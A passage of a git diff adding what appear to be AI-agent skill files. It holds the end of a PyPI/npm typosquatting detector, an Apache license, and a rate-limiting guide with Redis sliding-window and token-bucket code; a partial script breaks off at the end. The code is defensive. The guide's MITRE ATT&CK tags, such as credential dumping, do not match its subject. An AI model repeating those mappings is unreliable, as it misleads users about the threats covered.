+ "metadata": meta, + }) + logger.info( + " [%s] %s (score=%d, lev=%d)", + risk, candidate, score, signals.get("levenshtein_distance", -1), + ) + + if (i + 1) % 50 == 0: + logger.info(" Progress: %d/%d candidates checked", i + 1, len(candidates)) + + # Sort by score descending + results.sort(key=lambda r: r["score"], reverse=True) + + return { + "target": target_name, + "registry": registry, + "target_metadata": target_meta, + "candidates_generated": len(candidates), + "candidates_found": len(results), + "results": results, + } + + +def scan_dependency_file(filepath, registry="pypi", max_candidates_per_pkg=None): + """Scan all dependencies in a requirements file or package.json.""" + filepath = Path(filepath) + if not filepath.exists(): + return {"error": f"File not found: {filepath}"} + + content = filepath.read_text() + packages = [] + + if filepath.name in ("requirements.txt", "requirements.in"): + for line in content.splitlines(): + line = line.strip() + if line and not line.startswith("#") and not line.startswith("-"): + pkg = re.split(r"[><=!~\[]", line)[0].strip() + if pkg: + packages.append(pkg) + elif filepath.name == "package.json": + try: + pkg_json = json.loads(content) + for dep_key in ("dependencies", "devDependencies", "peerDependencies"): + packages.extend(pkg_json.get(dep_key, {}).keys()) + except json.JSONDecodeError as e: + return {"error": f"Invalid JSON: {e}"} + elif filepath.name in ("Pipfile",): + for line in content.splitlines(): + line = line.strip() + if "=" in line and not line.startswith("[") and not line.startswith("#"): + pkg = line.split("=")[0].strip().strip('"') + if pkg and not pkg.startswith("["): + packages.append(pkg) + else: + # Generic: one package per line + for line in content.splitlines(): + line = line.strip() + if line and not line.startswith("#"): + packages.append(line.split()[0]) + + packages = list(dict.fromkeys(packages)) # deduplicate preserving order + logger.info("Found %d packages in %s", len(packages), filepath) + + all_results = { + "file": str(filepath), + "registry": registry, + "packages_scanned": len(packages), + "scan_results": [], + "summary": {"high": 0, "medium": 0, "low": 0}, + } + + for pkg in packages: + result = scan_package(pkg, registry, max_candidates_per_pkg) + all_results["scan_results"].append(result) + for r in result.get("results", []): + risk = r.get("risk", "LOW").lower() + all_results["summary"][risk] = all_results["summary"].get(risk, 0) + 1 + + return all_results + + +def generate_report(data, output_path): + """Write scan results to a JSON report file.""" + report = { + "report_generated": datetime.now(timezone.utc).isoformat(), + **data, + } + with open(output_path, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Report written to %s", output_path) + + +def main(): + parser = argparse.ArgumentParser( + description="Typosquatting Detection Agent for npm and PyPI" + ) + sub = parser.add_subparsers(dest="command", required=True) + + # scan single package + scan_p = sub.add_parser("scan", help="Scan for typosquats of a single package") + scan_p.add_argument("package", help="Target package name to scan for typosquats") + scan_p.add_argument("--registry", choices=["pypi", "npm"], default="pypi", + help="Package registry to scan (default: pypi)") + scan_p.add_argument("--max-candidates", type=int, help="Limit candidates to check") + + # scan dependency file + file_p = sub.add_parser("scan-file", help="Scan dependencies from a file") + file_p.add_argument("file", help="Path to requirements.txt, package.json, etc.") + file_p.add_argument("--registry", choices=["pypi", "npm"], default="pypi", + help="Package registry to scan (default: pypi)") + file_p.add_argument("--max-candidates", type=int, help="Limit candidates per package") + + # check single candidate + check_p = sub.add_parser("check", help="Check a specific package name against a target") + check_p.add_argument("candidate", help="Candidate package name to check") + check_p.add_argument("target", help="Legitimate target package name") + check_p.add_argument("--registry", choices=["pypi", "npm"], default="pypi") + + # generate candidates only (no registry queries) + gen_p = sub.add_parser("generate", help="Generate typosquat candidates without querying registry") + gen_p.add_argument("package", help="Package name to generate candidates for") + + parser.add_argument("--output", default="typosquat_report.json", help="Output report path") + args = parser.parse_args() + + result = {} + + if args.command == "scan": + result = scan_package(args.package, args.registry, args.max_candidates) + + elif args.command == "scan-file": + result = scan_dependency_file(args.file, args.registry, args.max_candidates) + + elif args.command == "check": + if args.registry == "pypi": + candidate_meta = query_pypi_package(args.candidate) + target_meta = query_pypi_package(args.target) + else: + candidate_meta = query_npm_package(args.candidate) + target_meta = query_npm_package(args.target) + + if not candidate_meta: + result = {"candidate": args.candidate, "exists": False, "risk": "NONE"} + elif not target_meta: + result = {"error": f"Target package '{args.target}' not found"} + else: + score, signals = compute_suspicion_score( + candidate_meta, target_meta, args.target, args.registry + ) + result = { + "candidate": args.candidate, + "target": args.target, + "registry": args.registry, + "score": score, + "risk": classify_risk(score), + "signals": signals, + "candidate_metadata": candidate_meta, + "target_metadata": target_meta, + } + + elif args.command == "generate": + candidates = generate_typosquat_candidates(args.package) + result = { + "package": args.package, + "candidate_count": len(candidates), + "candidates": candidates, + } + + print(json.dumps(result, indent=2, default=str)) + generate_report(result, args.output) + + +if __name__ == "__main__": + main() diff --git a/.claude/skills/implementing-api-rate-limiting-and-throttling/LICENSE b/.claude/skills/implementing-api-rate-limiting-and-throttling/LICENSE new file mode 100644 index 0000000..d885118 --- /dev/null +++ b/.claude/skills/implementing-api-rate-limiting-and-throttling/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/.claude/skills/implementing-api-rate-limiting-and-throttling/SKILL.md b/.claude/skills/implementing-api-rate-limiting-and-throttling/SKILL.md new file mode 100644 index 0000000..3d1f49c --- /dev/null +++ b/.claude/skills/implementing-api-rate-limiting-and-throttling/SKILL.md @@ -0,0 +1,481 @@ +--- +name: implementing-api-rate-limiting-and-throttling +description: 'Implements API rate limiting and throttling with token bucket, sliding + window, and fixed window algorithms, configuring per-user, per-IP, and per-endpoint + limits via Redis-backed counters, API gateway plugins, or middleware, and returning + proper HTTP 429 responses with Retry-After headers. Use when setting up request + quota management or preventing brute force, credential stuffing, and resource exhaustion + attacks against APIs.' +domain: cybersecurity +subdomain: api-security +tags: +- api-security +- rate-limiting +- throttling +- redis +- token-bucket +- abuse-prevention +version: 1.0.0 +author: mahipal +license: Apache-2.0 +nist_csf: +- PR.PS-01 +- ID.RA-01 +- PR.DS-10 +- DE.CM-01 +mitre_attack: +- T1190 +- T1059.007 +- T1552.001 +- T1003 +- T1110 +--- +# Implementing API Rate Limiting and Throttling + +## When to Use + +- Protecting authentication endpoints against brute force and credential stuffing attacks +- Preventing API abuse and resource exhaustion from automated scripts and bots +- Implementing fair usage quotas for different API consumer tiers (free, premium, enterprise) +- Defending against denial-of-service attacks at the application layer +- Meeting compliance requirements that mandate API abuse prevention controls + +**Do not use** rate limiting as the sole defense against attacks. Combine with authentication, authorization, and WAF rules. + +## Prerequisites + +- Redis 6.0+ for distributed rate limit counters (or in-memory for single-instance deployments) +- API framework (Express.js, FastAPI, Spring Boot, or Django REST Framework) +- Monitoring system for rate limit metrics (Prometheus, CloudWatch, Datadog) +- Understanding of the API's normal traffic patterns and peak usage +- Load testing tool (k6, Gatling, or Locust) for validating rate limit behavior + +## Workflow + +### Step 1: Rate Limiting Strategy Design + +Define rate limits per endpoint category and user tier: + +```python +# Rate limit configuration +RATE_LIMITS = { + # Authentication endpoints (most restrictive) + "auth": { + "login": {"requests": 5, "window_seconds": 60, "by": "ip"}, + "register": {"requests": 3, "window_seconds": 300, "by": "ip"}, + "forgot_password": {"requests": 3, "window_seconds": 3600, "by": "ip"}, + "verify_mfa": {"requests": 5, "window_seconds": 300, "by": "user"}, + }, + # Standard API endpoints + "api": { + "free": {"requests": 60, "window_seconds": 60, "by": "user"}, + "premium": {"requests": 300, "window_seconds": 60, "by": "user"}, + "enterprise": {"requests": 1000, "window_seconds": 60, "by": "user"}, + }, + # Resource-intensive endpoints + "expensive": { + "search": {"requests": 10, "window_seconds": 60, "by": "user"}, + "export": {"requests": 5, "window_seconds": 3600, "by": "user"}, + "bulk_import": {"requests": 2, "window_seconds": 3600, "by": "user"}, + }, + # Global limits + "global": { + "per_ip": {"requests": 1000, "window_seconds": 60, "by": "ip"}, + "per_user": {"requests": 5000, "window_seconds": 3600, "by": "user"}, + }, +} +``` + +### Step 2: Sliding Window Rate Limiter (Redis) + +```python +import redis +import time +import hashlib +from functools import wraps +from flask import Flask, request, jsonify, g + +app = Flask(__name__) +redis_client = redis.Redis(host='localhost', port=6379, db=0, decode_responses=True) + +class SlidingWindowRateLimiter: + """Sliding window rate limiter using Redis sorted sets.""" + + def __init__(self, redis_conn): + self.redis = redis_conn + + def is_allowed(self, key, max_requests, window_seconds): + """Check if request is allowed and record it.""" + now = time.time() + window_start = now - window_seconds + pipe = self.redis.pipeline() + + # Remove expired entries + pipe.zremrangebyscore(key, 0, window_start) + # Count requests in current window + pipe.zcard(key) + # Add current request + pipe.zadd(key, {f"{now}:{hashlib.md5(str(now).encode()).hexdigest()[:8]}": now}) + # Set TTL on the key + pipe.expire(key, window_seconds + 1) + + results = pipe.execute() + current_count = results[1] + + if current_count >= max_requests: + # Calculate retry-after + oldest = self.redis.zrange(key, 0, 0, withscores=True) + if oldest: + retry_after = int(oldest[0][1] + window_seconds - now) + 1 + else: + retry_after = window_seconds + return False, current_count, max_requests, retry_after + + return True, current_count + 1, max_requests, 0 + +rate_limiter = SlidingWindowRateLimiter(redis_client) + +def rate_limit(max_requests, window_seconds, key_func=None): + """Decorator for rate limiting API endpoints.""" + def decorator(f): + @wraps(f) + def wrapped(*args, **kwargs): + # Determine the rate limit key + if key_func: + identifier = key_func() + elif hasattr(g, 'user_id'): + identifier = f"user:{g.user_id}" + else: + identifier = f"ip:{request.remote_addr}" + + key = f"ratelimit:{request.endpoint}:{identifier}" + allowed, current, limit, retry_after = rate_limiter.is_allowed( + key, max_requests, window_seconds) + + # Always set rate limit headers + headers = { + "X-RateLimit-Limit": str(limit), + "X-RateLimit-Remaining": str(max(0, limit - current)), + "X-RateLimit-Reset": str(int(time.time()) + window_seconds), + } + + if not allowed: + headers["Retry-After"] = str(retry_after) + response = jsonify({ + "error": "rate_limit_exceeded", + "message": "Too many requests. Please try again later.", + "retry_after": retry_after + }) + response.status_code = 429 + for h, v in headers.items(): + response.headers[h] = v + return response + + response = f(*args, **kwargs) + for h, v in headers.items(): + response.headers[h] = v + return response + return wrapped + return decorator + +# Apply rate limiting to endpoints +@app.route('/api/v1/auth/login', methods=['POST']) +@rate_limit(max_requests=5, window_seconds=60, + key_func=lambda: f"ip:{request.remote_addr}") +def login(): + # Login logic + return jsonify({"message": "Login successful"}) + +@app.route('/api/v1/users/me', methods=['GET']) +@rate_limit(max_requests=60, window_seconds=60) +def get_profile(): + # Profile logic + return jsonify({"user": "data"}) + +@app.route('/api/v1/search', methods=['GET']) +@rate_limit(max_requests=10, window_seconds=60) +def search(): + # Search logic + return jsonify({"results": []}) +``` + +### Step 3: Token Bucket Rate Limiter + +```python +import redis +import time + +class TokenBucketRateLimiter: + """Token bucket rate limiter allowing burst traffic within limits.""" + + def __init__(self, redis_conn): + self.redis = redis_conn + + def is_allowed(self, key, max_tokens, refill_rate, refill_interval=1): + """ + Token bucket algorithm: + - max_tokens: Maximum burst capacity + - refill_rate: Tokens added per refill_interval + - refill_interval: Seconds between refills + """ + now = time.time() + bucket_key = f"tb:{key}" + + # Lua script for atomic token bucket operation + lua_script = """ + local key = KEYS[1] + local max_tokens = tonumber(ARGV[1]) + local refill_rate = tonumber(ARGV[2]) + local refill_interval = tonumber(ARGV[3]) + local now = tonumber(ARGV[4]) + + local bucket = redis.call('hmget', key, 'tokens', 'last_refill') + local tokens = tonumber(bucket[1]) + local last_refill = tonumber(bucket[2]) + + if tokens == nil then + tokens = max_tokens + last_refill = now + end + + -- Refill tokens + local elapsed = now - last_refill + local refills = math.floor(elapsed / refill_interval) + if refills > 0 then + tokens = math.min(max_tokens, tokens + (refills * refill_rate)) + last_refill = last_refill + (refills * refill_interval) + end + + local allowed = 0 + if tokens >= 1 then + tokens = tokens - 1 + allowed = 1 + end + + redis.call('hmset', key, 'tokens', tokens, 'last_refill', last_refill) + redis.call('expire', key, math.ceil(max_tokens / refill_rate * refill_interval) + 10) + + return {allowed, tokens, max_tokens} + """ + + result = self.redis.eval(lua_script, 1, bucket_key, + max_tokens, refill_rate, refill_interval, now) + allowed = bool(result[0]) + remaining = int(result[1]) + limit = int(result[2]) + + return allowed, remaining, limit +``` + +### Step 4: Tiered Rate Limiting with User Plans + +```python +from enum import Enum + +class UserTier(Enum): + FREE = "free" + PREMIUM = "premium" + ENTERPRISE = "enterprise" + +TIER_LIMITS = { + UserTier.FREE: { + "default": (60, 60), # 60 req/min + "search": (10, 60), # 10 req/min + "export": (5, 3600), # 5 req/hour + "daily_total": (1000, 86400), # 1000 req/day + }, + UserTier.PREMIUM: { + "default": (300, 60), + "search": (50, 60), + "export": (20, 3600), + "daily_total": (10000, 86400), + }, + UserTier.ENTERPRISE: { + "default": (1000, 60), + "search": (200, 60), + "export": (100, 3600), + "daily_total": (100000, 86400), + }, +} + +def get_rate_limit_for_request(user_tier, endpoint_category="default"): + """Get rate limit configuration based on user tier and endpoint.""" + tier_config = TIER_LIMITS.get(user_tier, TIER_LIMITS[UserTier.FREE]) + limit_config = tier_config.get(endpoint_category, tier_config["default"]) + return limit_config # (max_requests, window_seconds) + +class TieredRateLimitMiddleware: + """Middleware that applies rate limits based on user subscription tier.""" + + def __init__(self, app, redis_conn): + self.app = app + self.limiter = SlidingWindowRateLimiter(redis_conn) + + def __call__(self, environ, start_response): + # Extract user info from request + user_id = environ.get("HTTP_X_USER_ID") + user_tier = UserTier(environ.get("HTTP_X_USER_TIER", "free")) + endpoint = environ.get("PATH_INFO", "/") + + # Determine endpoint category + category = "default" + if "/search" in endpoint: + category = "search" + elif "/export" in endpoint: + category = "export" + + max_requests, window = get_rate_limit_for_request(user_tier, category) + key = f"tiered:{user_id or environ.get('REMOTE_ADDR')}:{category}" + + allowed, current, limit, retry_after = self.limiter.is_allowed( + key, max_requests, window) + + if not allowed: + status = "429 Too Many Requests" + headers = [ + ("Content-Type", "application/json"), + ("Retry-After", str(retry_after)), + ("X-RateLimit-Limit", str(limit)), + ("X-RateLimit-Remaining", "0"), + ] + start_response(status, headers) + body = f'{{"error":"rate_limit_exceeded","retry_after":{retry_after},"tier":"{user_tier.value}"}}' + return [body.encode()] + + return self.app(environ, start_response) +``` + +### Step 5: Distributed Rate Limiting for Microservices + +```python +# Centralized rate limiting service using Redis Cluster +import redis +from redis.cluster import RedisCluster + +class DistributedRateLimiter: + """Rate limiter for microservice architectures using Redis Cluster.""" + + def __init__(self): + self.redis = RedisCluster( + startup_nodes=[ + {"host": "redis-node-1", "port": 6379}, + {"host": "redis-node-2", "port": 6379}, + {"host": "redis-node-3", "port": 6379}, + ], + decode_responses=True + ) + + def check_and_increment(self, service_name, user_id, endpoint, + max_requests, window_seconds): + """Atomic check-and-increment using Redis Lua script.""" + key = f"rl:{{{service_name}}}:{user_id}:{endpoint}" + + # Lua script ensures atomicity across the check and increment + lua_script = """ + local key = KEYS[1] + local max_requests = tonumber(ARGV[1]) + local window = tonumber(ARGV[2]) + local now = tonumber(ARGV[3]) + local window_start = now - window + + -- Remove old entries + redis.call('zremrangebyscore', key, '-inf', window_start) + + -- Count current entries + local count = redis.call('zcard', key) + + if count >= max_requests then + -- Get oldest entry for retry-after calculation + local oldest = redis.call('zrange', key, 0, 0, 'WITHSCORES') + local retry_after = 0 + if #oldest > 0 then + retry_after = math.ceil(tonumber(oldest[2]) + window - now) + end + return {0, count, retry_after} + end + + -- Add new entry + redis.call('zadd', key, now, now .. ':' .. math.random(100000)) + redis.call('expire', key, window + 1) + + return {1, count + 1, 0} + """ + + result = self.redis.eval(lua_script, 1, key, + max_requests, window_seconds, time.time()) + return { + "allowed": bool(result[0]), + "current": int(result[1]), + "retry_after": int(result[2]), + } +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Sliding Window** | Rate limiting algorithm that tracks requests in a rolling time window, providing smoother rate enforcement than fixed windows | +| **Token Bucket** | Algorithm where tokens are added at a fixed rate and consumed per request, allowing controlled bursts up to the bucket capacity | +| **Fixed Window** | Simplest rate limiting where requests are counted per fixed time window (e.g., per minute), susceptible to burst at window boundaries | +| **429 Too Many Requests** | HTTP status code indicating the client has exceeded the rate limit, accompanied by Retry-After header | +| **Retry-After Header** | HTTP response header telling the client how many seconds to wait before retrying, essential for well-behaved API clients | +| **Distributed Rate Limiting** | Rate limiting across multiple server instances using shared state (Redis, Memcached) to maintain accurate global counters | + +## Tools & Systems + +- **Redis**: In-memory data store used for distributed rate limit counters with atomic operations via Lua scripts +- **Kong Rate Limiting Plugin**: API gateway plugin supporting fixed-window and sliding-window rate limiting with Redis backend +- **express-rate-limit**: Express.js middleware for simple rate limiting with Redis, Memcached, or in-memory stores +- **Flask-Limiter**: Flask extension for rate limiting with support for multiple backends and configurable limits per endpoint +- **Envoy Rate Limit Service**: Centralized rate limiting service for Envoy-based service mesh architectures + +## Common Scenarios + +### Scenario: Implementing Rate Limiting for a Public API + +**Context**: A company launches a public API with free, premium, and enterprise tiers. The API must protect against abuse while providing fair access to paying customers. The API runs on 6 instances behind an AWS ALB. + +**Approach**: +1. Deploy Redis Cluster (3 nodes) for distributed rate limit state +2. Implement sliding window rate limiter using Redis sorted sets with Lua scripts for atomicity +3. Configure per-tier limits: Free (60 req/min), Premium (300 req/min), Enterprise (1000 req/min) +4. Add stricter limits on authentication endpoints (5 req/min per IP) regardless of tier +5. Implement resource-intensive endpoint limits (search: 10 req/min free, export: 5 req/hour) +6. Set rate limit response headers on every response (X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset) +7. Return 429 with Retry-After header and JSON error body when limits are exceeded +8. Set up Prometheus metrics for rate limit hits and CloudWatch alarms for unusual patterns + +**Pitfalls**: +- Using in-memory rate limiting without shared state across instances, allowing limit bypass by hitting different servers +- Not implementing rate limiting on authentication endpoints separately from general API limits +- Using fixed windows that allow burst at window boundaries (2x the limit in a short period) +- Not including rate limit headers on successful responses, giving clients no visibility into their quota +- Trusting X-Forwarded-For for IP identification without validating it against the load balancer + +## Output Format + +``` +## Rate Limiting Implementation Report + +**API**: Public API v2 +**Algorithm**: Sliding Window (Redis Sorted Sets) +**Backend**: Redis Cluster (3 nodes) +**Deployment**: 6 API instances behind AWS ALB + +### Rate Limit Configuration + +| Tier | Default | Search | Export | Auth (per IP) | +|------|---------|--------|--------|---------------| +| Free | 60/min | 10/min | 5/hour | 5/min | +| Premium | 300/min | 50/min | 20/hour | 5/min | +| Enterprise | 1000/min | 200/min | 100/hour | 10/min | + +### Validation Results (k6 load test) + +- Free tier: Rate limited at 61st request (correct) +- Premium tier: Rate limited at 301st request (correct) +- Cross-instance: Rate limiting consistent across all 6 instances +- Redis failover: Rate limiting degrades gracefully (allows traffic) when Redis is unreachable +- Retry-After header: Accurate within 1 second of actual reset time +- Response overhead: < 2ms added latency per request for rate limit check +``` diff --git a/.claude/skills/implementing-api-rate-limiting-and-throttling/references/api-reference.md b/.claude/skills/implementing-api-rate-limiting-and-throttling/references/api-reference.md new file mode 100644 index 0000000..ba707fc --- /dev/null +++ b/.claude/skills/implementing-api-rate-limiting-and-throttling/references/api-reference.md @@ -0,0 +1,65 @@ +# API Reference: Implementing API Rate Limiting and Throttling + +## Token Bucket Algorithm + +```python +import time +class TokenBucket: + def __init__(self, capacity, refill_rate): + self.capacity = capacity + self.tokens = capacity + self.refill_rate = refill_rate # tokens/sec + self.last_refill = time.time() + + def allow(self): + now = time.time() + self.tokens = min(self.capacity, + self.tokens + (now - self.last_refill) * self.refill_rate) + self.last_refill = now + if self.tokens >= 1: + self.tokens -= 1 + return True + return False +``` + +## Redis Sliding Window + +```python +import redis, time +r = redis.Redis() +def check_rate(client_id, window=60, limit=100): + key = f"rl:{client_id}" + now = time.time() + pipe = r.pipeline() + pipe.zremrangebyscore(key, 0, now - window) + pipe.zadd(key, {str(now): now}) + pipe.zcard(key) + pipe.expire(key, window) + _, _, count, _ = pipe.execute() + return count <= limit +``` + +## HTTP 429 Response Headers + +| Header | Value | Description | +|--------|-------|-------------| +| `Retry-After` | `30` | Seconds until retry | +| `X-RateLimit-Limit` | `100` | Max requests | +| `X-RateLimit-Remaining` | `0` | Remaining requests | +| `X-RateLimit-Reset` | epoch | Reset timestamp | + +## Kong Rate Limiting Plugin + +```bash +curl -X POST http://localhost:8001/services/{id}/plugins \ + -d "name=rate-limiting" \ + -d "config.minute=100" \ + -d "config.policy=redis" \ + -d "config.redis_host=redis" +``` + +### References + +- Redis Rate Limiting: https://redis.io/glossary/rate-limiting/ +- IETF RateLimit Headers: https://datatracker.ietf.org/doc/draft-ietf-httpapi-ratelimit-headers/ +- Kong Rate Limiting: https://docs.konghq.com/hub/kong-inc/rate-limiting/ diff --git a/.claude/skills/implementing-api-rate-limiting-and-throttling/scripts/agent.py b/.claude/skills/implementing-api-rate-limiting-and-throttling/scripts/agent.py new file mode 100644 index 0000000..c28f22d --- /dev/null +++ b/.claude/skills/implementing-api-rate-limiting-and-throttling/scripts/agent.py @@ -0,0 +1,165 @@ +#!/usr/bin/env python3 +"""Agent for implementing and testing API rate limiting and throttling.""" + +import json +import argparse +import time +from datetime import datetime +from collections import defaultdict, Counter + + +class TokenBucket: + """In-memory token bucket rate limiter.""" + def __init__(self, max_tokens=100, refill_rate=10.0): + self.max_tokens = max_tokens + self.refill_rate = refill_rate + self.buckets = {} + + def allow(self, client_id): + now = time.time() + if client_id not in self.buckets: + self.buckets[client_id] = {"tokens": self.max_tokens, "last": now} + bucket = self.buckets[client_id] + elapsed = now - bucket["last"] + bucket["tokens"] = min(self.max_tokens, bucket["tokens"] + elapsed * self.refill_rate) + bucket["last"] = now + if bucket["tokens"] >= 1: + bucket["tokens"] -= 1 + return True, {"remaining": int(bucket["tokens"]), "limit": self.max_tokens} + return False, {"remaining": 0, "retry_after": round((1 - bucket["tokens"]) / self.refill_rate, 2)} + + +class SlidingWindow: + """In-memory sliding window rate limiter.""" + def __init__(self, window_seconds=60, max_requests=100): + self.window = window_seconds + self.max_requests = max_requests + self.requests = defaultdict(list) + + def allow(self, client_id): + now = time.time() + cutoff = now - self.window + self.requests[client_id] = [t for t in self.requests[client_id] if t > cutoff] + current = len(self.requests[client_id]) + if current < self.max_requests: + self.requests[client_id].append(now) + return True, {"remaining": self.max_requests - current - 1, "window": self.window} + return False, {"remaining": 0, "retry_after": round(self.requests[client_id][0] - cutoff, 2)} + + +def analyze_rate_limit_effectiveness(log_path): + """Analyze API logs to assess rate limiting effectiveness.""" + ip_requests = Counter() + ip_429s = Counter() + endpoint_load = Counter() + with open(log_path) as f: + for line in f: + try: + entry = json.loads(line) + except json.JSONDecodeError: + continue + ip = entry.get("client_ip", entry.get("ip", "")) + status = int(entry.get("status_code", entry.get("status", 0))) + endpoint = entry.get("path", entry.get("endpoint", "")) + ip_requests[ip] += 1 + if status == 429: + ip_429s[ip] += 1 + endpoint_load[endpoint] += 1 + findings = [] + for ip, total in ip_requests.most_common(20): + rate_limited = ip_429s.get(ip, 0) + if total > 1000 and rate_limited == 0: + findings.append({ + "ip": ip, "total_requests": total, "rate_limited": 0, + "issue": "high_volume_not_rate_limited", "severity": "HIGH", + }) + elif rate_limited > 0 and rate_limited < total * 0.1: + findings.append({ + "ip": ip, "total_requests": total, "rate_limited": rate_limited, + "issue": "rate_limit_too_permissive", "severity": "MEDIUM", + }) + return findings + + +def simulate_rate_limit_test(algorithm="token_bucket", requests_count=200, rate=10): + """Simulate rate limiting to test configuration.""" + if algorithm == "token_bucket": + limiter = 